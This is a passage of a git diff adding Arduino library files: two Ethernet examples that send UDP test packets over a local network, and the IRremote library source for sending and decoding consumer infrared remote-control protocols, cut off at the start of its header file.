b/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendRaw/UdpSendRaw.pde @@ -0,0 +1,40 @@ +#include +#include +/* UdpSendRaw.pde: Example how to send packets over UDP using the UdpRaw library + * to check for received packets on Unix-ish setup, execute: + * sudo tcpdump -ien0 "udp port 8000" + * bjoern@cs.stanford.edu 12/30/2008 */ + +/* ETHERNET CONFIGURATION + * ARDUINO: set MAC, IP address of Ethernet shield, its gateway, + * and local port to listen on for incoming packets */ +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; //MAC address to use +byte ip[] = { 192, 168, 11, 200 }; // Arduino's IP address +byte gw[] = { 192, 168, 11, 1 }; // Gateway IP address +int localPort = 8888; //local port to listen on + +/* TARGET: set this to IP/Port of computer that will receive + * UDP messages from Arduino */ +byte targetIp[] = { 192, 168, 11, 15}; +int targetPort = 8000; + +/* A binary packet we'll send to our target - can contain 0x00 */ +byte packet[] = { 'h','e','l','l','o','\0','w','o','r','l','d','\0' }; +int packetLen = 12; + + +void setup() { + Ethernet.begin(mac,ip,gw); + UdpRaw.begin(localPort); +} + +void loop() { + // this version of sendPacket sends a zero-terminated string. + UdpRaw.sendPacket("hello, world.",targetIp,targetPort); + delay(1000); + + // this version sends an arbitrary buffer with specified length; + // buffer can contain '\0' + UdpRaw.sendPacket(packet,packetLen,targetIp,targetPort); + delay(1000); +} diff --git a/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendString/UdpSendString.pde b/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendString/UdpSendString.pde new file mode 100755 index 0000000..fc8c862 --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendString/UdpSendString.pde @@ -0,0 +1,48 @@ +#include +#include +#include + +/* UdpSendString.pde: Example how to send packets over UDP using the String library + * to check for received packets on Unix-ish setup, execute: + * sudo tcpdump -A -ien0 "udp port 8000" + * bjoern@cs.stanford.edu 12/30/2008 */ + +/* ETHERNET CONFIGURATION + * ARDUINO: set MAC, IP address of Ethernet shield, its gateway, + * and local port to listen on for incoming packets */ +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; //MAC address to use +byte ip[] = { 192, 168, 11, 200 }; // Arduino's IP address +byte gw[] = { 192, 168, 11, 1 }; // Gateway IP address +int localPort = 8888; //local port to listen on + +/* TARGET: set this to IP/Port of computer that will receive + * UDP messages from Arduino */ +byte targetIp[] = { 192, 168, 11, 15}; +int targetPort = 8000; + +/* Strings hold the packets we want to send */ +String asciiString; +String binaryString(4); // if we want to send non-ASCII, we have to provide a capacity for the String + +void setup() { + Ethernet.begin(mac,ip,gw); + UdpString.begin(localPort); + + asciiString = "Hello, World"; + + binaryString.getBytes()[0]=0x00; + binaryString.getBytes()[1]=0x01; + binaryString.getBytes()[2]=0x02; + binaryString.getBytes()[3]=0x03; +} + +void loop() { + // send a normal, zero-terminated string. + UdpString.sendPacket(asciiString,targetIp,targetPort); + delay(1000); + + // sends a binary string that can contain 0x00 in the middle + // you have to specify the length; + UdpString.sendPacket(binaryString,binaryString.capacity(),targetIp,targetPort); + delay(1000); +} diff --git a/Projects/libraries/Installed_libs/IRRemote/IRremote.cpp b/Projects/libraries/Installed_libs/IRRemote/IRremote.cpp new file mode 100755 index 0000000..0b7092c --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/IRremote.cpp @@ -0,0 +1,1030 @@ +/* + * IRremote + * Version 0.11 August, 2009 + * Copyright 2009 Ken Shirriff + * For details, see http://arcfn.com/2009/08/multi-protocol-infrared-remote-library.html + * + * Modified by Paul Stoffregen to support other boards and timers + * Modified by Mitra Ardron + * Added Sanyo and Mitsubishi controllers + * Modified Sony to spot the repeat codes that some Sony's send + * + * Interrupt code based on NECIRrcv by Joe Knapp + * http://www.arduino.cc/cgi-bin/yabb2/YaBB.pl?num=1210243556 + * Also influenced by http://zovirl.com/2008/11/12/building-a-universal-remote-with-an-arduino/ + * + * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) + */ + +#include "IRremote.h" +#include "IRremoteInt.h" + +// Provides ISR +#include + +volatile irparams_t irparams; + +// These versions of MATCH, MATCH_MARK, and MATCH_SPACE are only for debugging. +// To use them, set DEBUG in IRremoteInt.h +// Normally macros are used for efficiency +#ifdef DEBUG +int MATCH(int measured, int desired) { + Serial.print("Testing: "); + Serial.print(TICKS_LOW(desired), DEC); + Serial.print(" <= "); + Serial.print(measured, DEC); + Serial.print(" <= "); + Serial.println(TICKS_HIGH(desired), DEC); + return measured >= TICKS_LOW(desired) && measured <= TICKS_HIGH(desired); +} + +int MATCH_MARK(int measured_ticks, int desired_us) { + Serial.print("Testing mark "); + Serial.print(measured_ticks * USECPERTICK, DEC); + Serial.print(" vs "); + Serial.print(desired_us, DEC); + Serial.print(": "); + Serial.print(TICKS_LOW(desired_us + MARK_EXCESS), DEC); + Serial.print(" <= "); + Serial.print(measured_ticks, DEC); + Serial.print(" <= "); + Serial.println(TICKS_HIGH(desired_us + MARK_EXCESS), DEC); + return measured_ticks >= TICKS_LOW(desired_us + MARK_EXCESS) && measured_ticks <= TICKS_HIGH(desired_us + MARK_EXCESS); +} + +int MATCH_SPACE(int measured_ticks, int desired_us) { + Serial.print("Testing space "); + Serial.print(measured_ticks * USECPERTICK, DEC); + Serial.print(" vs "); + Serial.print(desired_us, DEC); + Serial.print(": "); + Serial.print(TICKS_LOW(desired_us - MARK_EXCESS), DEC); + Serial.print(" <= "); + Serial.print(measured_ticks, DEC); + Serial.print(" <= "); + Serial.println(TICKS_HIGH(desired_us - MARK_EXCESS), DEC); + return measured_ticks >= TICKS_LOW(desired_us - MARK_EXCESS) && measured_ticks <= TICKS_HIGH(desired_us - MARK_EXCESS); +} +#else +int MATCH(int measured, int desired) {return measured >= TICKS_LOW(desired) && measured <= TICKS_HIGH(desired);} +int MATCH_MARK(int measured_ticks, int desired_us) {return MATCH(measured_ticks, (desired_us + MARK_EXCESS));} +int MATCH_SPACE(int measured_ticks, int desired_us) {return MATCH(measured_ticks, (desired_us - MARK_EXCESS));} +// Debugging versions are in IRremote.cpp +#endif + +void IRsend::sendNEC(unsigned long data, int nbits) +{ + enableIROut(38); + mark(NEC_HDR_MARK); + space(NEC_HDR_SPACE); + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + mark(NEC_BIT_MARK); + space(NEC_ONE_SPACE); + } + else { + mark(NEC_BIT_MARK); + space(NEC_ZERO_SPACE); + } + data <<= 1; + } + mark(NEC_BIT_MARK); + space(0); +} + +void IRsend::sendSony(unsigned long data, int nbits) { + enableIROut(40); + mark(SONY_HDR_MARK); + space(SONY_HDR_SPACE); + data = data << (32 - nbits); + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + mark(SONY_ONE_MARK); + space(SONY_HDR_SPACE); + } + else { + mark(SONY_ZERO_MARK); + space(SONY_HDR_SPACE); + } + data <<= 1; + } +} + +void IRsend::sendRaw(unsigned int buf[], int len, int hz) +{ + enableIROut(hz); + for (int i = 0; i < len; i++) { + if (i & 1) { + space(buf[i]); + } + else { + mark(buf[i]); + } + } + space(0); // Just to be sure +} + +// Note: first bit must be a one (start bit) +void IRsend::sendRC5(unsigned long data, int nbits) +{ + enableIROut(36); + data = data << (32 - nbits); + mark(RC5_T1); // First start bit + space(RC5_T1); // Second start bit + mark(RC5_T1); // Second start bit + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + space(RC5_T1); // 1 is space, then mark + mark(RC5_T1); + } + else { + mark(RC5_T1); + space(RC5_T1); + } + data <<= 1; + } + space(0); // Turn off at end +} + +// Caller needs to take care of flipping the toggle bit +void IRsend::sendRC6(unsigned long data, int nbits) +{ + enableIROut(36); + data = data << (32 - nbits); + mark(RC6_HDR_MARK); + space(RC6_HDR_SPACE); + mark(RC6_T1); // start bit + space(RC6_T1); + int t; + for (int i = 0; i < nbits; i++) { + if (i == 3) { + // double-wide trailer bit + t = 2 * RC6_T1; + } + else { + t = RC6_T1; + } + if (data & TOPBIT) { + mark(t); + space(t); + } + else { + space(t); + mark(t); + } + + data <<= 1; + } + space(0); // Turn off at end +} +void IRsend::sendPanasonic(unsigned int address, unsigned long data) { + enableIROut(35); + mark(PANASONIC_HDR_MARK); + space(PANASONIC_HDR_SPACE); + + for(int i=0;i<16;i++) + { + mark(PANASONIC_BIT_MARK); + if (address & 0x8000) { + space(PANASONIC_ONE_SPACE); + } else { + space(PANASONIC_ZERO_SPACE); + } + address <<= 1; + } + for (int i=0; i < 32; i++) { + mark(PANASONIC_BIT_MARK); + if (data & TOPBIT) { + space(PANASONIC_ONE_SPACE); + } else { + space(PANASONIC_ZERO_SPACE); + } + data <<= 1; + } + mark(PANASONIC_BIT_MARK); + space(0); +} +void IRsend::sendJVC(unsigned long data, int nbits, int repeat) +{ + enableIROut(38); + data = data << (32 - nbits); + if (!repeat){ + mark(JVC_HDR_MARK); + space(JVC_HDR_SPACE); + } + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + mark(JVC_BIT_MARK); + space(JVC_ONE_SPACE); + } + else { + mark(JVC_BIT_MARK); + space(JVC_ZERO_SPACE); + } + data <<= 1; + } + mark(JVC_BIT_MARK); + space(0); +} +void IRsend::mark(int time) { + // Sends an IR mark for the specified number of microseconds. + // The mark output is modulated at the PWM frequency. + TIMER_ENABLE_PWM; // Enable pin 3 PWM output + delayMicroseconds(time); +} + +/* Leave pin off for time (given in microseconds) */ +void IRsend::space(int time) { + // Sends an IR space for the specified number of microseconds. + // A space is no output, so the PWM output is disabled. + TIMER_DISABLE_PWM; // Disable pin 3 PWM output + delayMicroseconds(time); +} + +void IRsend::enableIROut(int khz) { + // Enables IR output. The khz value controls the modulation frequency in kilohertz. + // The IR output will be on pin 3 (OC2B). + // This routine is designed for 36-40KHz; if you use it for other values, it's up to you + // to make sure it gives reasonable results. (Watch out for overflow / underflow / rounding.) + // TIMER2 is used in phase-correct PWM mode, with OCR2A controlling the frequency and OCR2B + // controlling the duty cycle. + // There is no prescaling, so the output frequency is 16MHz / (2 * OCR2A) + // To turn the output on and off, we leave the PWM running, but connect and disconnect the output pin. + // A few hours staring at the ATmega documentation and this will all make sense. + // See my Secrets of Arduino PWM at http://arcfn.com/2009/07/secrets-of-arduino-pwm.html for details. + + + // Disable the Timer2 Interrupt (which is used for receiving IR) + TIMER_DISABLE_INTR; //Timer2 Overflow Interrupt + + pinMode(TIMER_PWM_PIN, OUTPUT); + digitalWrite(TIMER_PWM_PIN, LOW); // When not sending PWM, we want it low + + // COM2A = 00: disconnect OC2A + // COM2B = 00: disconnect OC2B; to send signal set to 10: OC2B non-inverted + // WGM2 = 101: phase-correct PWM with OCRA as top + // CS2 = 000: no prescaling + // The top value for the timer. The modulation frequency will be SYSCLOCK / 2 / OCR2A. + TIMER_CONFIG_KHZ(khz); +} + +IRrecv::IRrecv(int recvpin) +{ + irparams.recvpin = recvpin; + irparams.blinkflag = 0; +} + +// initialization +void IRrecv::enableIRIn() { + cli(); + // setup pulse clock timer interrupt + //Prescale /8 (16M/8 = 0.5 microseconds per tick) + // Therefore, the timer interval can range from 0.5 to 128 microseconds + // depending on the reset value (255 to 0) + TIMER_CONFIG_NORMAL(); + + //Timer2 Overflow Interrupt Enable + TIMER_ENABLE_INTR; + + TIMER_RESET; + + sei(); // enable interrupts + + // initialize state machine variables + irparams.rcvstate = STATE_IDLE; + irparams.rawlen = 0; + + // set pin modes + pinMode(irparams.recvpin, INPUT); +} + +// enable/disable blinking of pin 13 on IR processing +void IRrecv::blink13(int blinkflag) +{ + irparams.blinkflag = blinkflag; + if (blinkflag) + pinMode(BLINKLED, OUTPUT); +} + +// TIMER2 interrupt code to collect raw data. +// Widths of alternating SPACE, MARK are recorded in rawbuf. +// Recorded in ticks of 50 microseconds. +// rawlen counts the number of entries recorded so far. +// First entry is the SPACE between transmissions. +// As soon as a SPACE gets long, ready is set, state switches to IDLE, timing of SPACE continues. +// As soon as first MARK arrives, gap width is recorded, ready is cleared, and new logging starts +ISR(TIMER_INTR_NAME) +{ + TIMER_RESET; + + uint8_t irdata = (uint8_t)digitalRead(irparams.recvpin); + + irparams.timer++; // One more 50us tick + if (irparams.rawlen >= RAWBUF) { + // Buffer overflow + irparams.rcvstate = STATE_STOP; + } + switch(irparams.rcvstate) { + case STATE_IDLE: // In the middle of a gap + if (irdata == MARK) { + if (irparams.timer < GAP_TICKS) { + // Not big enough to be a gap. + irparams.timer = 0; + } + else { + // gap just ended, record duration and start recording transmission + irparams.rawlen = 0; + irparams.rawbuf[irparams.rawlen++] = irparams.timer; + irparams.timer = 0; + irparams.rcvstate = STATE_MARK; + } + } + break; + case STATE_MARK: // timing MARK + if (irdata == SPACE) { // MARK ended, record time + irparams.rawbuf[irparams.rawlen++] = irparams.timer; + irparams.timer = 0; + irparams.rcvstate = STATE_SPACE; + } + break; + case STATE_SPACE: // timing SPACE + if (irdata == MARK) { // SPACE just ended, record it + irparams.rawbuf[irparams.rawlen++] = irparams.timer; + irparams.timer = 0; + irparams.rcvstate = STATE_MARK; + } + else { // SPACE + if (irparams.timer > GAP_TICKS) { + // big SPACE, indicates gap between codes + // Mark current code as ready for processing + // Switch to STOP + // Don't reset timer; keep counting space width + irparams.rcvstate = STATE_STOP; + } + } + break; + case STATE_STOP: // waiting, measuring gap + if (irdata == MARK) { // reset gap timer + irparams.timer = 0; + } + break; + } + + if (irparams.blinkflag) { + if (irdata == MARK) { + BLINKLED_ON(); // turn pin 13 LED on + } + else { + BLINKLED_OFF(); // turn pin 13 LED off + } + } +} + +void IRrecv::resume() { + irparams.rcvstate = STATE_IDLE; + irparams.rawlen = 0; +} + + + +// Decodes the received IR message +// Returns 0 if no data ready, 1 if data ready. +// Results of decoding are stored in results +int IRrecv::decode(decode_results *results) { + results->rawbuf = irparams.rawbuf; + results->rawlen = irparams.rawlen; + if (irparams.rcvstate != STATE_STOP) { + return ERR; + } +#ifdef DEBUG + Serial.println("Attempting NEC decode"); +#endif + if (decodeNEC(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting Sony decode"); +#endif + if (decodeSony(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting Sanyo decode"); +#endif + if (decodeSanyo(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting Mitsubishi decode"); +#endif + if (decodeMitsubishi(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting RC5 decode"); +#endif + if (decodeRC5(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting RC6 decode"); +#endif + if (decodeRC6(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting Panasonic decode"); +#endif + if (decodePanasonic(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting JVC decode"); +#endif + if (decodeJVC(results)) { + return DECODED; + } + // decodeHash returns a hash on any input. + // Thus, it needs to be last in the list. + // If you add any decodes, add them before this. + if (decodeHash(results)) { + return DECODED; + } + // Throw away and start over + resume(); + return ERR; +} + +// NECs have a repeat only 4 items long +long IRrecv::decodeNEC(decode_results *results) { + long data = 0; + int offset = 1; // Skip first space + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], NEC_HDR_MARK)) { + return ERR; + } + offset++; + // Check for repeat + if (irparams.rawlen == 4 && + MATCH_SPACE(results->rawbuf[offset], NEC_RPT_SPACE) && + MATCH_MARK(results->rawbuf[offset+1], NEC_BIT_MARK)) { + results->bits = 0; + results->value = REPEAT; + results->decode_type = NEC; + return DECODED; + } + if (irparams.rawlen < 2 * NEC_BITS + 4) { + return ERR; + } + // Initial space + if (!MATCH_SPACE(results->rawbuf[offset], NEC_HDR_SPACE)) { + return ERR; + } + offset++; + for (int i = 0; i < NEC_BITS; i++) { + if (!MATCH_MARK(results->rawbuf[offset], NEC_BIT_MARK)) { + return ERR; + } + offset++; + if (MATCH_SPACE(results->rawbuf[offset], NEC_ONE_SPACE)) { + data = (data << 1) | 1; + } + else if (MATCH_SPACE(results->rawbuf[offset], NEC_ZERO_SPACE)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + // Success + results->bits = NEC_BITS; + results->value = data; + results->decode_type = NEC; + return DECODED; +} + +long IRrecv::decodeSony(decode_results *results) { + long data = 0; + if (irparams.rawlen < 2 * SONY_BITS + 2) { + return ERR; + } + int offset = 0; // Dont skip first space, check its size + + // Some Sony's deliver repeats fast after first + // unfortunately can't spot difference from of repeat from two fast clicks + if (results->rawbuf[offset] < SONY_DOUBLE_SPACE_USECS) { + // Serial.print("IR Gap found: "); + results->bits = 0; + results->value = REPEAT; + results->decode_type = SANYO; + return DECODED; + } + offset++; + + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], SONY_HDR_MARK)) { + return ERR; + } + offset++; + + while (offset + 1 < irparams.rawlen) { + if (!MATCH_SPACE(results->rawbuf[offset], SONY_HDR_SPACE)) { + break; + } + offset++; + if (MATCH_MARK(results->rawbuf[offset], SONY_ONE_MARK)) { + data = (data << 1) | 1; + } + else if (MATCH_MARK(results->rawbuf[offset], SONY_ZERO_MARK)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + + // Success + results->bits = (offset - 1) / 2; + if (results->bits < 12) { + results->bits = 0; + return ERR; + } + results->value = data; + results->decode_type = SONY; + return DECODED; +} + +// I think this is a Sanyo decoder - serial = SA 8650B +// Looks like Sony except for timings, 48 chars of data and time/space different +long IRrecv::decodeSanyo(decode_results *results) { + long data = 0; + if (irparams.rawlen < 2 * SANYO_BITS + 2) { + return ERR; + } + int offset = 0; // Skip first space + // Initial space + /* Put this back in for debugging - note can't use #DEBUG as if Debug on we don't see the repeat cos of the delay + Serial.print("IR Gap: "); + Serial.println( results->rawbuf[offset]); + Serial.println( "test against:"); + Serial.println(results->rawbuf[offset]); + */ + if (results->rawbuf[offset] < SANYO_DOUBLE_SPACE_USECS) { + // Serial.print("IR Gap found: "); + results->bits = 0; + results->value = REPEAT; + results->decode_type = SANYO; + return DECODED; + } + offset++; + + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], SANYO_HDR_MARK)) { + return ERR; + } + offset++; + + // Skip Second Mark + if (!MATCH_MARK(results->rawbuf[offset], SANYO_HDR_MARK)) { + return ERR; + } + offset++; + + while (offset + 1 < irparams.rawlen) { + if (!MATCH_SPACE(results->rawbuf[offset], SANYO_HDR_SPACE)) { + break; + } + offset++; + if (MATCH_MARK(results->rawbuf[offset], SANYO_ONE_MARK)) { + data = (data << 1) | 1; + } + else if (MATCH_MARK(results->rawbuf[offset], SANYO_ZERO_MARK)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + + // Success + results->bits = (offset - 1) / 2; + if (results->bits < 12) { + results->bits = 0; + return ERR; + } + results->value = data; + results->decode_type = SANYO; + return DECODED; +} + +// Looks like Sony except for timings, 48 chars of data and time/space different +long IRrecv::decodeMitsubishi(decode_results *results) { + // Serial.print("?!? decoding Mitsubishi:");Serial.print(irparams.rawlen); Serial.print(" want "); Serial.println( 2 * MITSUBISHI_BITS + 2); + long data = 0; + if (irparams.rawlen < 2 * MITSUBISHI_BITS + 2) { + return ERR; + } + int offset = 0; // Skip first space + // Initial space + /* Put this back in for debugging - note can't use #DEBUG as if Debug on we don't see the repeat cos of the delay + Serial.print("IR Gap: "); + Serial.println( results->rawbuf[offset]); + Serial.println( "test against:"); + Serial.println(results->rawbuf[offset]); + */ + /* Not seeing double keys from Mitsubishi + if (results->rawbuf[offset] < MITSUBISHI_DOUBLE_SPACE_USECS) { + // Serial.print("IR Gap found: "); + results->bits = 0; + results->value = REPEAT; + results->decode_type = MITSUBISHI; + return DECODED; + } + */ + offset++; + + // Typical + // 14200 7 41 7 42 7 42 7 17 7 17 7 18 7 41 7 18 7 17 7 17 7 18 7 41 8 17 7 17 7 18 7 17 7 + + // Initial Space + if (!MATCH_MARK(results->rawbuf[offset], MITSUBISHI_HDR_SPACE)) { + return ERR; + } + offset++; + while (offset + 1 < irparams.rawlen) { + if (MATCH_MARK(results->rawbuf[offset], MITSUBISHI_ONE_MARK)) { + data = (data << 1) | 1; + } + else if (MATCH_MARK(results->rawbuf[offset], MITSUBISHI_ZERO_MARK)) { + data <<= 1; + } + else { + // Serial.println("A"); Serial.println(offset); Serial.println(results->rawbuf[offset]); + return ERR; + } + offset++; + if (!MATCH_SPACE(results->rawbuf[offset], MITSUBISHI_HDR_SPACE)) { + // Serial.println("B"); Serial.println(offset); Serial.println(results->rawbuf[offset]); + break; + } + offset++; + } + + // Success + results->bits = (offset - 1) / 2; + if (results->bits < MITSUBISHI_BITS) { + results->bits = 0; + return ERR; + } + results->value = data; + results->decode_type = MITSUBISHI; + return DECODED; +} + + +// Gets one undecoded level at a time from the raw buffer. +// The RC5/6 decoding is easier if the data is broken into time intervals. +// E.g. if the buffer has MARK for 2 time intervals and SPACE for 1, +// successive calls to getRClevel will return MARK, MARK, SPACE. +// offset and used are updated to keep track of the current position. +// t1 is the time interval for a single bit in microseconds. +// Returns -1 for error (measured time interval is not a multiple of t1). +int IRrecv::getRClevel(decode_results *results, int *offset, int *used, int t1) { + if (*offset >= results->rawlen) { + // After end of recorded buffer, assume SPACE. + return SPACE; + } + int width = results->rawbuf[*offset]; + int val = ((*offset) % 2) ? MARK : SPACE; + int correction = (val == MARK) ? MARK_EXCESS : - MARK_EXCESS; + + int avail; + if (MATCH(width, t1 + correction)) { + avail = 1; + } + else if (MATCH(width, 2*t1 + correction)) { + avail = 2; + } + else if (MATCH(width, 3*t1 + correction)) { + avail = 3; + } + else { + return -1; + } + + (*used)++; + if (*used >= avail) { + *used = 0; + (*offset)++; + } +#ifdef DEBUG + if (val == MARK) { + Serial.println("MARK"); + } + else { + Serial.println("SPACE"); + } +#endif + return val; +} + +long IRrecv::decodeRC5(decode_results *results) { + if (irparams.rawlen < MIN_RC5_SAMPLES + 2) { + return ERR; + } + int offset = 1; // Skip gap space + long data = 0; + int used = 0; + // Get start bits + if (getRClevel(results, &offset, &used, RC5_T1) != MARK) return ERR; + if (getRClevel(results, &offset, &used, RC5_T1) != SPACE) return ERR; + if (getRClevel(results, &offset, &used, RC5_T1) != MARK) return ERR; + int nbits; + for (nbits = 0; offset < irparams.rawlen; nbits++) { + int levelA = getRClevel(results, &offset, &used, RC5_T1); + int levelB = getRClevel(results, &offset, &used, RC5_T1); + if (levelA == SPACE && levelB == MARK) { + // 1 bit + data = (data << 1) | 1; + } + else if (levelA == MARK && levelB == SPACE) { + // zero bit + data <<= 1; + } + else { + return ERR; + } + } + + // Success + results->bits = nbits; + results->value = data; + results->decode_type = RC5; + return DECODED; +} + +long IRrecv::decodeRC6(decode_results *results) { + if (results->rawlen < MIN_RC6_SAMPLES) { + return ERR; + } + int offset = 1; // Skip first space + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], RC6_HDR_MARK)) { + return ERR; + } + offset++; + if (!MATCH_SPACE(results->rawbuf[offset], RC6_HDR_SPACE)) { + return ERR; + } + offset++; + long data = 0; + int used = 0; + // Get start bit (1) + if (getRClevel(results, &offset, &used, RC6_T1) != MARK) return ERR; + if (getRClevel(results, &offset, &used, RC6_T1) != SPACE) return ERR; + int nbits; + for (nbits = 0; offset < results->rawlen; nbits++) { + int levelA, levelB; // Next two levels + levelA = getRClevel(results, &offset, &used, RC6_T1); + if (nbits == 3) { + // T bit is double wide; make sure second half matches + if (levelA != getRClevel(results, &offset, &used, RC6_T1)) return ERR; + } + levelB = getRClevel(results, &offset, &used, RC6_T1); + if (nbits == 3) { + // T bit is double wide; make sure second half matches + if (levelB != getRClevel(results, &offset, &used, RC6_T1)) return ERR; + } + if (levelA == MARK && levelB == SPACE) { // reversed compared to RC5 + // 1 bit + data = (data << 1) | 1; + } + else if (levelA == SPACE && levelB == MARK) { + // zero bit + data <<= 1; + } + else { + return ERR; // Error + } + } + // Success + results->bits = nbits; + results->value = data; + results->decode_type = RC6; + return DECODED; +} +long IRrecv::decodePanasonic(decode_results *results) { + unsigned long long data = 0; + int offset = 1; + + if (!MATCH_MARK(results->rawbuf[offset], PANASONIC_HDR_MARK)) { + return ERR; + } + offset++; + if (!MATCH_MARK(results->rawbuf[offset], PANASONIC_HDR_SPACE)) { + return ERR; + } + offset++; + + // decode address + for (int i = 0; i < PANASONIC_BITS; i++) { + if (!MATCH_MARK(results->rawbuf[offset++], PANASONIC_BIT_MARK)) { + return ERR; + } + if (MATCH_SPACE(results->rawbuf[offset],PANASONIC_ONE_SPACE)) { + data = (data << 1) | 1; + } else if (MATCH_SPACE(results->rawbuf[offset],PANASONIC_ZERO_SPACE)) { + data <<= 1; + } else { + return ERR; + } + offset++; + } + results->value = (unsigned long)data; + results->panasonicAddress = (unsigned int)(data >> 32); + results->decode_type = PANASONIC; + results->bits = PANASONIC_BITS; + return DECODED; +} +long IRrecv::decodeJVC(decode_results *results) { + long data = 0; + int offset = 1; // Skip first space + // Check for repeat + if (irparams.rawlen - 1 == 33 && + MATCH_MARK(results->rawbuf[offset], JVC_BIT_MARK) && + MATCH_MARK(results->rawbuf[irparams.rawlen-1], JVC_BIT_MARK)) { + results->bits = 0; + results->value = REPEAT; + results->decode_type = JVC; + return DECODED; + } + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], JVC_HDR_MARK)) { + return ERR; + } + offset++; + if (irparams.rawlen < 2 * JVC_BITS + 1 ) { + return ERR; + } + // Initial space + if (!MATCH_SPACE(results->rawbuf[offset], JVC_HDR_SPACE)) { + return ERR; + } + offset++; + for (int i = 0; i < JVC_BITS; i++) { + if (!MATCH_MARK(results->rawbuf[offset], JVC_BIT_MARK)) { + return ERR; + } + offset++; + if (MATCH_SPACE(results->rawbuf[offset], JVC_ONE_SPACE)) { + data = (data << 1) | 1; + } + else if (MATCH_SPACE(results->rawbuf[offset], JVC_ZERO_SPACE)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + //Stop bit + if (!MATCH_MARK(results->rawbuf[offset], JVC_BIT_MARK)){ + return ERR; + } + // Success + results->bits = JVC_BITS; + results->value = data; + results->decode_type = JVC; + return DECODED; +} + +/* ----------------------------------------------------------------------- + * hashdecode - decode an arbitrary IR code. + * Instead of decoding using a standard encoding scheme + * (e.g. Sony, NEC, RC5), the code is hashed to a 32-bit value. + * + * The algorithm: look at the sequence of MARK signals, and see if each one + * is shorter (0), the same length (1), or longer (2) than the previous. + * Do the same with the SPACE signals. Hszh the resulting sequence of 0's, + * 1's, and 2's to a 32-bit value. This will give a unique value for each + * different code (probably), for most code systems. + * + * http://arcfn.com/2010/01/using-arbitrary-remotes-with-arduino.html + */ + +// Compare two tick values, returning 0 if newval is shorter, +// 1 if newval is equal, and 2 if newval is longer +// Use a tolerance of 20% +int IRrecv::compare(unsigned int oldval, unsigned int newval) { + if (newval < oldval * .8) { + return 0; + } + else if (oldval < newval * .8) { + return 2; + } + else { + return 1; + } +} + +// Use FNV hash algorithm: http://isthe.com/chongo/tech/comp/fnv/#FNV-param +#define FNV_PRIME_32 16777619 +#define FNV_BASIS_32 2166136261 + +/* Converts the raw code values into a 32-bit hash code. + * Hopefully this code is unique for each button. + * This isn't a "real" decoding, just an arbitrary value. + */ +long IRrecv::decodeHash(decode_results *results) { + // Require at least 6 samples to prevent triggering on noise + if (results->rawlen < 6) { + return ERR; + } + long hash = FNV_BASIS_32; + for (int i = 1; i+2 < results->rawlen; i++) { + int value = compare(results->rawbuf[i], results->rawbuf[i+2]); + // Add value into the hash + hash = (hash * FNV_PRIME_32) ^ value; + } + results->value = hash; + results->bits = 32; + results->decode_type = UNKNOWN; + return DECODED; +} + +/* Sharp and DISH support by Todd Treece ( http://unionbridge.org/design/ircommand ) + +The Dish send function needs to be repeated 4 times, and the Sharp function +has the necessary repeat built in because of the need to invert the signal. + +Sharp protocol documentation: +http://www.sbprojects.com/knowledge/ir/sharp.htm + +Here are the LIRC files that I found that seem to match the remote codes +from the oscilloscope: + +Sharp LCD TV: +http://lirc.sourceforge.net/remotes/sharp/GA538WJSA + +DISH NETWORK (echostar 301): +http://lirc.sourceforge.net/remotes/echostar/301_501_3100_5100_58xx_59xx + +For the DISH codes, only send the last for characters of the hex. +i.e. use 0x1C10 instead of 0x0000000000001C10 which is listed in the +linked LIRC file. +*/ + +void IRsend::sendSharp(unsigned long data, int nbits) { + unsigned long invertdata = data ^ SHARP_TOGGLE_MASK; + enableIROut(38); + for (int i = 0; i < nbits; i++) { + if (data & 0x4000) { + mark(SHARP_BIT_MARK); + space(SHARP_ONE_SPACE); + } + else { + mark(SHARP_BIT_MARK); + space(SHARP_ZERO_SPACE); + } + data <<= 1; + } + + mark(SHARP_BIT_MARK); + space(SHARP_ZERO_SPACE); + delay(46); + for (int i = 0; i < nbits; i++) { + if (invertdata & 0x4000) { + mark(SHARP_BIT_MARK); + space(SHARP_ONE_SPACE); + } + else { + mark(SHARP_BIT_MARK); + space(SHARP_ZERO_SPACE); + } + invertdata <<= 1; + } + mark(SHARP_BIT_MARK); + space(SHARP_ZERO_SPACE); + delay(46); +} + +void IRsend::sendDISH(unsigned long data, int nbits) +{ + enableIROut(56); + mark(DISH_HDR_MARK); + space(DISH_HDR_SPACE); + for (int i = 0; i < nbits; i++) { + if (data & DISH_TOP_BIT) { + mark(DISH_BIT_MARK); + space(DISH_ONE_SPACE); + } + else { + mark(DISH_BIT_MARK); + space(DISH_ZERO_SPACE); + } + data <<= 1; + } +} diff --git a/Projects/libraries/Installed_libs/IRRemote/IRremote.h b/Projects/libraries/Installed_libs/IRRemote/IRremote.h new file mode 100755 index 0000000..0e5fdf2 --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/IRremote.h @@ -0,0 +1,118 @@ +/* + * IRremote + * Version 0.1 July, 